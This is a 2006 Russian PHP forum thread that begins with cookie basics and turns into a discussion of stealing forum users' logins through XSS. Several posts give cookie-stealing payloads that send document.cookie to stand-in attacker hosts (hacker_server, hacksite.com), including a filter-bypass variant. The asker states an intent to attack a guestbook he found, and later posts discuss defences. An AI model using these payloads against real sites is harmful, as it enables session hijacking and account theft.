| |
|
|
| | Я прочитал вашу книгу "Самоучитель PHP5" и немного
непонял про Cookie.
У меня есть 2-а вопроса.
Вот у меня есть такой скрипт,
который записывает в файл кол-во посещений страницы.:
<?php
$_COOKIE['counter']++;
setcookie("counter",$_COOKIE['counter']);
$file=fopen("cookie.txt","a");
fwrite($file,$_COOKIE[counter]."::");
fclose($file);
?>
|
1)Почему в качестве имени cookie и значения выбраны
имменно counter?
$_COOKIE['counter']++;//В этом месте значение 'counter'
setcookie("counter",$_COOKIE['counter']);//В этом указываем имя "counter"
|
Если например указать вместо counter что-то другое(без разницы что например
"XXX") будет работать этот скрипт?
2)Например мне надо с помощью cookie скомуниздить и записать в файл
пароль и логин посетителя форума,
какой код в данном случае будет? Как узнать имена которые надо устанавливать?
Ну или не обязательно пароль и логин,а любую другую информацию? | |
| |
|
|
| |
|
|
| |
для: 1nkv131t0r
(13.08.2006 в 07:06)
| | | Скрипт будет работать и при "XXX" ... конечно же, если во всех местах заменить ...
Это просто имя переменной (ключа суперглобального массива $_COOKIE), обращаясь к которому мы получаем значение, закрепленное за этим ключом в массиве | |
| |
|
|
| |
|
|
| |
для: 1nkv131t0r
(13.08.2006 в 07:06)
| | | 2) Cookie действуют только в пределах одного сайта, обратиться к cookie, которые вы сами не ставили невозможно с другого сайта. Т.е. если посетитель зашёл на наш сайт, а затем на ваш - пароли от форума вы не получите. Для этого потребуется либо изменить код нашего сайта либо провести XSS-атаку, что в общем одно и тоже. | |
| |
|
|
| |
|
|
| |
для: cheops
(13.08.2006 в 11:36)
| | | Ну я не про ваш сайт.Я в целом про ХSS атаку.
Нашел нефильтруемые сообщения в гостевой,
там вставляю JavaScript с переадрисацией
на мой скрипт...
Только как сам скрипт должен выглядеть,
например как узнать какие Cookie используются
под пароль,какие под имя и тд. или они все
в одной суперглобальной переменной находяться?
Или может я недостаточно понимаю определения
куков?
Заранее Спасибо. | |
| |
|
|
| |
|
|
| |
для: 1nkv131t0r
(13.08.2006 в 11:53)
| | | Для этого средствами JavaScript формируется строка с GET-параметрами, через которые передаётся содержимое cookie, а PHP-скрипт на конечном хосте просто их записывает в файл или базу данных. | |
| |
|
|
| |
|
|
| |
для: cheops
(13.08.2006 в 12:18)
| | | Т.е это JS типа:
<IMG name=myimg src="javascript:document.myimg.src='http://hacker_server/cgi-bin/cookie.cgi?' + document.cookie;"> | |
| |
|
|
| |
|
|
| |
для: 1nkv131t0r
(13.08.2006 в 14:54)
| | | Да, что-то вроде этого... | |
| |
|
|
| |
|
|
| |
для: cheops
(13.08.2006 в 16:45)
| | | новая специализация веб-студии SoftTime.ru - рассадник хакеров :) | |
| |
|
|
| |
|
|
| |
для: BAHO
(13.08.2006 в 21:56)
| | | Объясните пожалуйста на примере, как это использовать
<IMG name=myimg src="javascript:document.myimg.src='http://hacker_server/cgi-bin/cookie.cgi?' + document.cookie;">
|
Всмысле, как в этом скрипте http://hacker_server/cgi-bin/cookie.cgi потом извлечь переменные из кук ? Если через GET, то какое имя переменной ?
Можно на простом примере? | |
| |
|
|
| |
|
|
| |
для: Oligarx
(14.08.2006 в 00:03)
| | | Я не понимаю для каких мирных целей это можно использовать? cookie устанавливаются для конкретного сайта их и следует использовать на этом сайте... | |
| |
|
|
| |
|
|
| |
для: cheops
(14.08.2006 в 01:06)
| | | в том то и дело, что участник этот хочет провести соответсвующую XSS-атаку... мирнх целей тут ну никак не может быть | |
| |
|
|
| |
|
|
| |
для: Oligarx
(14.08.2006 в 00:03)
| | | Не на том форуме спрашиваешь =))))))))
Но я посторяюсь обьяснить =)
как кто-то такую непростую картинку посмотрит
<IMG name=myimg src="javascript:document.myimg.src='http://hacker_server/cgi-bin/cookie.cgi?cookie=' + document.cookie;">
, скрипту cookie.cgi передасца примерно следующая строчка user=CrazyAngel;pass=super_parol_fig_razgadaesh;
скрипт cookie.cgi например отправляет эту строчку на почту юнному хакеру =) тот смотрит оп-ля =) да теперь у меня есть логин и пароль какого-то там CrazyAngel'a от этого сайта, дайка я пропишу это у себя в куках, зайду на этот сайт, да понарываюсь на админов
=))) | |
| |
|
|
| |
|
|
| |
для: cheops
(13.08.2006 в 16:45)
| | | А у меня такой вопрос: если в форуме есть возможность вставлять картинки с других серверов, можно ли как-то защититься от xss атаки?
И вторая половина вопроса: если уж нельзя защититься, то что надо хранить в куках, чтобы злоумышленнику эти данные не помогли? | |
| |
|
|
| |
|
|
| |
для: Loki
(14.08.2006 в 13:43)
| | | Хм... можно проверять формат URL и допускать только файлы с расширениями gif jpeg. В cookie в любом случае не нужно хранить ничего ценного вроде паролей к аккаунтам, где деньги лежат :))) | |
| |
|
|
| |
|
|
| |
для: cheops
(15.08.2006 в 11:59)
| | |
src="javascript:open('http://hacksite.com/test.php?cookie=' + document.cookie); //.jpg"
|
Вроде такая штука проползет через фильтры:)
Так пароли никому и не нужны... нужны статусы:) | |
| |
|
|
| |
|
|
| |
для: Loki
(15.08.2006 в 13:37)
| | | Можно опережающей проверкой ещё пройтись... грубо говоря должён URL начинаться с http, так будте добры писать http, т.е. что-то вроде
| |
| |
|
|
| |
|
|
| |
для: cheops
(16.08.2006 в 12:16)
| | | url может быть относительным. :(
Т.е. схема доступа http/ftp/javascript... должна проверяться лишь тогда, когда она в принципе указана. ^(?=[\w]+\:) | |
| |
|
|
| |
|
|
| |
для: cheops
(15.08.2006 в 11:59)
| | | Допустим, проверили мы URL, и содержимое проверили. И сочли ссылку валидной.
Только ведь никакой гарантии, что этот файл статический, а не сформирован сервером через mod_rewrite, который из GET-запроса успел кукисы к себе стянуть.... | |
| |
|
|
| |
|
|
| |
для: cheops
(15.08.2006 в 11:59)
| | | Допустим, проверили мы URL, и содержимое проверили. И сочли ссылку валидной.
Только ведь никакой гарантии, что этот файл статический, а не сформирован сервером через mod_rewrite, который из GET-запроса успеет кукисы к себе стянуть.... когда эта ссылка будет выложена в html-тексте на одной из страниц сервера в теге <img src=...> | |
| |
|
|
| |
|
|
| |
для: Trianon
(16.08.2006 в 12:29)
| | | Для этого надо их в гет запрос подставить. А это можно сделать только с помощью клиентсокго кода. | |
| |
|
|
| |
|
|
| |
для: Trianon
(16.08.2006 в 12:29)
| | | Можно выводить под также через htmlspecialchars() ссылку на страницу, чтобы пользователи видили куда идут... но это тоже не всегда применимо. | |
| |
|
|
| |
|
|
| |
для: cheops
(16.08.2006 в 13:04)
| | | Я говорю о теге <IMG SRC=http://...> референс которого будет запрошен браузером безо всяких действий пользователя. | |
| |
|
|